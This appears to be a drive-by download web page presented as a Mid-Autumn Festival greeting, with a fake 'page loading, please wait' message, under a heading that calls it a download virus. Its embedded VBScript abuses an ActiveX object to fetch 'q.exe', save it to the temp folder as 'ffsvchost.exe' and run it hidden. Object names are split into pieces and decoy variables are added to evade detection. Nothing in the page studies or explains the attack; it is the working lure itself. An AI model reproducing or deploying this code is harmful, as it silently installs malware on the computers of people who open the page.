JAVASCRIPT 下载病毒

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD><TITLE>中秋节日快乐</TITLE>

on error resume next

MyQQ318092 = "q.exe"

Set CAOc = document.createElement("object")

CAOc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

seturla="down"

seturlb="file"

seturlc="copy"

seturld="exit"

seturle="base"

CAOi="Microsoft.XMLHTTP"

Set CAOd = CAOc.CreateObject(CAOi,"")

seturlf="Ado"

seturlg="db."

seturlh="Str"

seturli="eam"

CAOf=seturlf&seturlg&seturlh&seturli

CAOg=CAOf

set CAOa = CAOc.createobject(CAOg,"")

CAOa.type = 1

CAOh="GET"

CAOd.Open CAOh, MyQQ318092, False

CAOd.Send

CAO9="ffsvchost.exe"

set CAOb = CAOc.createobject("Scripting.FileSystemObject","")

set CAOe = CAOb.GetSpecialFolder(2)

CAOa.open

CAO8="CAOa.BuildPath(CAOa,CAO8)"

CAO7="CAOb.BuildPath(CAOb,CAO7)"

CAO6="CAOc.BuildPath(CAOd,CAO6)"

CAO5="CAOd.BuildPath(CAOf,CAO5)"

CAO4="CAOe.BuildPath(CAOg,CAO4)"

CAO3="CAOf.BuildPath(CAOh,CAO4)"

CAO2="CAOg.BuildPath(CAOi,CAO3)"

CAO1="CAOh.BuildPath(CAOg,CAO1)"

CAO0="CAOi.BuildPath(CAOk,CAO0)"

CAO9= CAOb.BuildPath(CAOe,CAO9)

CAOa.write CAOd.responseBody

CAOa.savetofile CAO9,2

CAOa.close

set CAOe = CAOc.createobject("Shell.Application","")

CAOe.ShellExecute CAO9,BBS,BBS,"open",0

</SCRIPT>

<BODY>

<CENTER><BR>访问人数过大，请耐心等待三秒！页面正在加载之中。。谢谢！ </CENTER></BODY></HTML>